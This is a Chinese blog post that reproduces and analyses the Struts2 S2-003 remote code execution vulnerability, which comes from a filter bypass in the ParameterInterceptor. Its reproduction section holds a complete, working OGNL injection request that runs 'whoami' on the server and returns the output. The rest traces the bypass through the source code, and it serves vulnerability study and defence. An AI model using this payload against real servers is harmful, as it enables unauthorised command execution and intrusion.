ICode9

精准搜索请尝试: 精确搜索
首页 > 其他分享> 文章详细

Struts2 003 漏洞复现&分析

2021-02-06 09:36:29  阅读:245  来源: 互联网

标签:对象 struts 003 漏洞 Struts2 复现 https bla 值栈


0x01 漏洞背景

  • 漏洞名称:Struts Remote Code Exploit

  • 漏洞编号:Struts2-003

  • 漏洞类型:Remote Code Execution

0x02 漏洞复现

payload:

GET /Struts_001_war_exploded/LoginAction.action?('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003dfalse')(bla)(bla)&('\u0023_memberAccess.excludeProperties\u003d@java.util.Collections@EMPTY_SET')(kxlzx)(kxlzx)&('\u0023mycmd\u003d\'whoami\'')(bla)(bla)&('\u0023myret\u003d@java.lang.Runtime@getRuntime().exec(\u0023mycmd)')(bla)(bla)&(A)(('\u0023mydat\u003dnew\40java.io.DataInputStream(\u0023myret.getInputStream())')(bla))&(B)(('\u0023myres\u003dnew\40byte[51020]')(bla))&(C)(('\u0023mydat.readFully(\u0023myres)')(bla))&(D)(('\u0023mystr\u003dnew\40java.lang.String(\u0023myres)')(bla))&('\u0023myout\u003d@org.apache.struts2.ServletActionContext@getResponse()')(bla)(bla)&(E)(('\u0023myout.getWriter().println(\u0023mystr)')(bla)) HTTP/1.1
Host: 10.100.19.108:8088
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.75 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=871CBC560866FFCA5B8105FF459A90AB; JSESSIONID=CFA09220BDD6F7716289CDBB96B18FD8
Connection: close

image-20201104172318259

0x03 漏洞分析

开始之前先说一个前提知识

ValueStack, 即值栈对象。

用户每次访问struts的action,都会创建一个Action对象、值栈对象、ActionContext对象; 然后把Action对象放入值栈中; 最后再把值栈对象放入request中,传入jsp页面。

(key: struts.valueStack);

开发者只需要通过ActionContext对象就可以访问struts的其他的关键对象。 (ActionContext是给开发者用的,便于学习与使用。)

(来源于https://www.cnblogs.com/xtdxs/p/6527372.html)

而这个漏洞触发点主要在于对请求中的请求参数和值进行值栈存储操作时,过滤不充分(过滤#等字符),被直接通过unicode编码绕过。

分析开始先借一个struts的图说说

tomcat

当用户发起请求后,struts2框架收到请求,请求参数存取会调用拦截器Interceptor进行拦截,主要其内在逻辑是通过迭代的方式将请求值取出来,并通过ognl的setValue对对象的值进行设置,这里的拦截器叫ParameterInterceptor,直接ParameterInterceptor.java下断点

image-20201104232214913

跟进this.setParameters

image-20201105000237357

跟进parameterNameAware.acceptableParameterName,这里对四个敏感字符做了过滤

image-20201105000348244

image-20201105002201586

进入存储

image-20201105002409405

最终到达执行点

image-20201105002834306

0x04 参考

https://developer.ibm.com/zh/articles/os-cn-ognl/

https://www.cnblogs.com/xtdxs/p/6527372.html

https://xz.aliyun.com/t/2323

https://blog.csdn.net/u011054212/article/details/41384555

标签:对象,struts,003,漏洞,Struts2,复现,https,bla,值栈
来源: https://www.cnblogs.com/0x28/p/14380601.html

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有